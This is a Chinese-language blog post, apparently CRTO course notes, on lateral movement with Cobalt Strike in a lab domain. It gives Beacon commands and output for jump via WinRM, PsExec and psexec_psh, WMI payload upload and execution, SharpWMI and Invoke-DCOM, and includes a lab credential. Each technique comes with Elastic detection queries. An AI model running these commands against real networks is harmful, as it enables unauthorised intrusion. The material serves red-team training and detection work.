CRTO | 横向移动

admin 2024年9月28日11:32:21评论8 views字数 6448阅读21分29秒阅读模式

13-横向移动

CRTO | 横向移动

1-概述

在域中的横向移动可以获得更多敏感数据和用户凭证信息

Cobalt Strike 提供了三种在远程目标上执行 Beacons/代码/命令的方法

第一个是jump命令,语法是jump [method] [target] [listener]

输入jump以查看方法列表,将在远程目标上生成 Beacon 有效负载,如果使用 P2P 监听器并自动连接

beacon> jump

Beacon Remote Exploits
======================

    Exploit                   Arch  Description
    -------                   ----  -----------
    psexec                    x86   Use a service to run a Service EXE artifact
    psexec64                  x64   Use a service to run a Service EXE artifact
    psexec_psh                x86   Use a service to run a PowerShell one-liner
    winrm                     x86   Run a PowerShell script via WinRM
    winrm64                   x64   Run a PowerShell script via WinRM

上述每种方式都有自己的一套 OPSEC 关注点,后面逐一说明

第二个是remote-exec命令,语法是remote-exec [method] [target] [command]

输入remote-exec以查看方法列表

beacon> remote-exec

Beacon Remote Execute Methods
=============================

    Methods                         Description
    -------                         -----------
    psexec                          Remote execute via Service Control Manager
    winrm                           Remote execute via WinRM (PowerShell)
    wmi                             Remote execute via WMI

remote-exec命令只是提供了一种在远程目标上执行命令的方法。因此并非横向移动所独有的,但它们可以用作横向移动。它们需要更多的手动工作来管理有效载荷,对目标控制程度更高。需要使用connect或link手动连接到 P2P Beacons

第三个是使用Cobalt Strike 的命令(powershell、execute-assembly等)来实现完全自定义的功能

也可以使用 Aggressor 将自定义方法集成到jump和remote-exec命令中

这些方法与“用户模拟”一章中描述的各种技术相同。例如,可以使用pth它来模拟用户,然后jump进行横向移动

Seatbelt 的一些命令也可以远程执行操作,可以用来对目标横向之前查看其配置和防护策略

beacon> execute-assembly C:ToolsSeatbeltSeatbeltbinReleaseSeatbelt.exe OSInfo -ComputerName=web

  Hostname                      :  web
  Domain Name                   :  dev.cyberbotic.io
  ProductName                   :  Windows Server 2022 Datacenter
  EditionID                     :  ServerDatacenter
  ReleaseId                     :  2009
  Build                         :  20348
  BuildBranch                   :  fe_release
  CurrentMajorVersionNumber     :  10
  CurrentVersion                :  6.3
  Architecture                  :  AMD6

大多数横向移动技术都利用合法的 Windows 管理功能,这种类型的流量和活动在网络上也很常见,不容易被察觉

2-Windows远程管理

winrm和winrm64方法分别针对 32 位和 64 位目标系统

SMB Beacon 是横向移动时的最佳选择,因为 SMB 协议在 Windows 环境中被广泛使用,更加隐蔽

beacon> jump winrm64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\.pipeTSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web.dev.cyberbotic.io via WinRM
[+] host called home, sent: 225172 bytes
[+] established link to child beacon: 10.10.122.30

WinRM 会返回一个当前用户权限的高完整性 Beacon

CRTO | 横向移动

新的 Beacon 会运行wsmprovhost.exe进程,即“WinRM 插件的主机进程”。无论是否是正常用户使用WinRM,都会运行这个进程。因此通过搜索该进程启动事件很难区分是正常管理员操作还是攻击

event.category: process and event.type: start and process.name: wsmprovhost.exe

识别这种横向移动的最可能方法是通过搜索 PowerShell 脚本块日志来查找已知的有效载荷

event.category: process and powershell.file.script_block_text: "$var_runme.Invoke([IntPtr]::Zero)"

3-PsExec

psexec/psexec64命令的工作原理是将服务二进制文件上传到目标系统,然后创建并启动 Windows 服务来执行该二进制文件

以这种方式执行的 Beacon可以得 SYSTEM 权限

beacon> jump psexec64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\.pipeTSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (\webADMIN$768870c.exe)

Started service 768870c on web.dev.cyberbotic.io
[+] established link to child beacon: 10.10.122.30

CRTO | 横向移动

排查 PsExec 的可靠方法是查找 4697 个服务创建的事件

一般是系统服务软件安装会使用PsExec,否则很大可能是攻击行为。并且Cobalt Strike 会生成一个随机的 7 个字符的字母数字混合字符串作为服务名和二进制文件名。服务的 binPath参数设置指向 ADMIN$ 共享的 UNC 路径

event.code: 4697 and winlog.event_data.ServiceFileName: \\*\ADMIN$\*.exe

CRTO | 横向移动

psexec_psh命令不会将二进制文件复制到目标,而是执行 PowerShell 一句话命令(始终为 32 位)

它默认使用的命令是

%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ...

beacon> jump psexec_psh web smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\.pipeTSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (PSH)

Started service bd119dd on web
[+] established link to child beacon: 10.10.122.30

CRTO | 横向移动

4-WMI

WMI 不是jump命令的一部分,而是remote-exec的一部分

remote-exec方法使用 WMI 的“process call create”来在目标上执行指定命令,首先将有效载荷上传到目标系统,再使用 WMI 执行它

可以通过cd命令进入要上传文件的远程机器目录,然后使用upload命令上传文件

beacon> cd \web.dev.cyberbotic.ioADMIN$
beacon> upload C:Payloadssmb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:Windowssmb_x64.exe
Started process 3280 on web.dev.cyberbotic.io

在WEB 上运行有效载荷后,使用link命令进行连接

beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30

与 WinRM 一样,获得用户权限的控制权限

CRTO | 横向移动

当二进制文件以这种方式通过 WMI 执行时,新进程将是WmiPrvSE.exe的进程。因此可以查找以 WmiPrvSE 为父级的进程创建事件

event.category: process and event.type: start and process.parent.name: WmiPrvSE.exe

CRTO | 横向移动

5-CoInitializeSecurity案例

Beacon 的 WMI 内部实现使用Beacon 对象文件(https://cobaltstrike.com/help-beacon-object-files),使用beacon_inline _ execute(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#beacon_inline_execute)执行Aggressor 函数。执行 BOF 时,调用CoInitializeSecurity COM 对象,该对象用于设置当前进程的安全上下文。根据 Microsoft 的文档,每个进程只能调用一次。不幸的后果是,如果您在“用户 A”的上下文中调用 CoInitializeSecurity,那么未来的 BOF 可能无法在 Beacon 进程的生命周期内继承不同的安全上下文(“用户 B”)。

示例如下:

beacon> make_token DEVjking Qwerty123
[+] Impersonated DEVbfarmer

beacon> remote-exec wmi web.dev.cyberbotic.io C:Windowssmb_x64.exe
CoInitializeSecurity already called. Thread token (if there is one) may not get used
[-] Could not connect to web.dev.cyberbotic.io: 5

我们知道jking是 WEB 上的本地管理员,但由于CoInitializeSecurity已被调用(可能在bfarmer的上下文中),WMI 因访问被拒绝而失败。作为一种解决方法,您的 WMI 执行需要来自不同的进程。这可以使用spawn和spawnas等命令来实现,甚至可以使用execute-assembly调用SharpWMI工具来实现

beacon> execute-assembly C:ToolsSharpWMISharpWMIbinReleaseSharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:Windowssmb_x64.exe"

[*] Host                           : web.dev.cyberbotic.io
[*] Command                        : C:Windowssmb_x64.exe
[*] Creation of process returned   : 0
[*] Process ID                     : 3436

6-DCOM

Beacon 没有内置通过分布式组件对象模型 (DCOM) 进行交互的功能,因此我们必须使用外部工具(如Invoke-DCOM(https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1))。我们将在后面的模块中看到如何将其集成到jump命令中。

beacon> powershell-import C:ToolsInvoke-DCOM.ps1
beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:Windowssmb_x64.exe
Completed

beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30

DCOM 检测起来更复杂,因为每个“方法”的工作方式都不同。在MMC20.Application的特定情况下,生成的进程将是mmc.exe的子进程

event.category: process and event.type : start and process.parent.name: mmc.exe

CRTO | 横向移动

还可以观察到通过 DCOM 启动的进程,其中父进程带有svchost.exe命令行参数-k DcomLaunch。

原文始发于微信公众号(高级红队专家):CRTO | 横向移动

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:32:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CRTO | 横向移动https://cn-sec.com/archives/3100245.html

发表评论

匿名网友 填写信息